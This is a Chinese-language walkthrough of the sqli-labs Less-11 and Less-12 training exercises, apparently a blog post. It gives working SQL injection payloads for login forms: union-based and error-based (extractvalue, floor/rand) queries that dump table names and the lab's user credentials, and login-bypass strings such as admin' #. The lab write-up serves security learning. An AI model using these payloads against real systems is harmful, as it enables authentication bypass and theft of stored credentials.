Less-11---Less-12

第十一题

方法一    union联合注入


猜闭合方式   

用户名: \      密码:空 

near ''\' and password='' LIMIT 0,1' at line 1


验证

用户名上输入    ' #

密码不写

用户名上输入    ' or 1 #

显示其他用户名和密码

闭合方式为 '


用户名上输入 ' order by 10 #        报错    Unknown column '10' in 'order clause'

                       ' order by 2 #          正常    不显示

用户名上输入 ' union select 1,2 #

                          显示位出现

爆库

用户名上输入  ' union select 1,database() #


Your Login name:1

Your Password:security

爆表

' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())#


Your Login name:1

Your Password:emails,referers,uagents,users


爆字段

' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users')#

Your Login name:1

Your Password:id,username,password


爆值

' union select (select group_concat(username) from users),(select group_concat(password) from users)#

Your Login name:Dumb,Angelina,Dummy,secure,stupid,superman,batman,admin,admin1,admin2,admin3,dhakkan,admin4

Your Password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4


方法二    报错注入

(1)报错函数

爆库

用户名上输入  ' and extractvalue(1,concat(0x7e,(select database()),0x7e)) #

XPATH syntax error: '~security~'

爆表

用户名上输入 

' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) #

XPATH syntax error: '~emails,referers,uagents,users~'

PS

concat后第一个参数最好先跟一个东西,比如concat(0x7e,)

再来查询数据库不然可能报错


爆字段

' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e)) #


XPATH syntax error: '~id,username,password~'


爆值

 ' and extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e)) #

' and extractvalue(1,concat(0x7e,(select group_concat(password) from users),0x7e)) #

(2)聚合函数

' union select count(*),concat(0x3a,(select database()),0x3a,floor(rand()*2))as a from information_schema.tables group by a # 

payload      select database()

只要替换paload就行了


方法三  万能密码

用户名上输入:admin' #

=======================================================================================================

第12题

\

near '"\") and password=("") LIMIT 0,1' at line 1

")闭合

方法一  报错型注入

(1)报错函数

用户名上输入: ") and extractvalue(1,concat(0x7e,(select database()),0x7e)) #

(2)聚合函数


方法二,联合注入查询。

用户名上输入: ") union select 1,database() #


方法三  万能密码

用户名上输入:admin")#

详细见Less-11

你可能感兴趣的:(Less-11---Less-12)